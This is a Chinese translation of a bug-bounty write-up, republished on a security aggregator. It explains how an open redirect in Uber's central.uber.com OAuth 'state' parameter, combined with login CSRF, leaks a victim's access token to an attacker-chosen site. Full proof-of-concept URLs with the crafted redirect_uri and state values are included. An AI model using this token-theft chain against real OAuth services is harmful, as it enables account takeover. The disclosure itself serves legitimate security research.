Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】价值$8000的Uber漏洞:登录处CSRF和URL跳转组合获取用户权限

0
0
【技术分享】价值$8000的Uber漏洞:登录处CSRF和URL跳转组合获取用户权限

2017-06-29 14:05:33

阅读:429次
点赞(0)
收藏
来源: ngailong.com





【技术分享】价值00的Uber漏洞:登录处CSRF和URL跳转组合获取用户权限

作者:小meet





【技术分享】价值00的Uber漏洞:登录处CSRF和URL跳转组合获取用户权限

译者:小meet

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


读了两篇文章tweet 和 report之后,我决定分享一个在Uber挖到的很特别的洞--盗取登录授权。

这个漏洞在central.uber.com,使用oauth协议登录,但是参数使用不正确导致攻击者构造参数导致跳转和登录CSRF,然后获取跳转后URL中的登录令牌。

先来分析一个central.uber.com的登录流程,几个月前当用户登录时,请求是这样的:

1、https://central.uber.com/login?state=/somewhere 2、https://login.uber.com/oauth/authorize?response_type=code&scope=profilehistory&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https://central.uber.com/oauth2-callback&state=/somewhere 3、https://central.uber.com/oauth2-callback?state=/&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd 4、https://central.uber.com/somewhere 为了更好的理解这个漏洞,你需要多读几遍去熟悉这个流程。我的第一次尝试是把state的参数值从/somewhere变成了//google.com,去测试潜在的跳转漏洞,然后这个流程变成了下面的样子
1、https://central.uber.com/login?state=//google.com 2、https://login.uber.com/oauth/authorize?response_type=code&scope=profilehistory&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https://central.uber.com/oauth2-callback&state=//google.com 3、https://central.uber.com/oauth2-callback?state=//google.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd 4、//google.com 显而易见这是跳转漏洞的,但是uber不收这个洞了,所以要深挖一下好好利用。

由于请求中我们用的是code,而不是token,所以即使利用跳转我们也没法在登录中获取任何东西。所以我们把code替换成token,看看会出现什么情况:

1、https://login.uber.com/oauth/authorize?response_type=token&scope=profilehistory&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https://central.uber.com/oauth2-callback&state=//google.com/ 2、https://central.uber.com/oauth2-callback?state=//google.com#access_token=xxxxx/ 3、Noredirecthere

因为https://central.uber.com/oauth2-callback 没有返回可用的code,所以第二步没有跳转,但是如果没有跳转的话我们就没法获取token,所以需要一个解决方法,给oauth2-callback后面添加一个可用的code参数


登录处CSRF

参数state用于跳转,我们可以将自己可用的oauth code 添加到 oauth2-callback后面,然后发给被攻击者,然后被攻击者就会带着token被重定向访问攻击者的网站。

POC

https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3dattacker_valid_oauth_code&state=%2F%2fhackerone.com

POC登录流程

1 https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{attacker_valid_oauth_code}&state=%2F%2fhackerone.com

2 https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={attacker_valid_oauth_code}#access_token={victim_access_token}

3、//hackerone.com#accesstoken={victim_access_token}

局限

这个漏洞需要用户已经获取了login.uber.com的的会话验证。由于central.uber.com是一个官方的oauth客户端,所以每个用户在默认情况下会接受central.uber.com的任何请求。

漏洞赏金$8000




【技术分享】价值00的Uber漏洞:登录处CSRF和URL跳转组合获取用户权限
【技术分享】价值00的Uber漏洞:登录处CSRF和URL跳转组合获取用户权限
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://ngailong.com/uber-login-csrf-open-redirect-account-takeover/

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images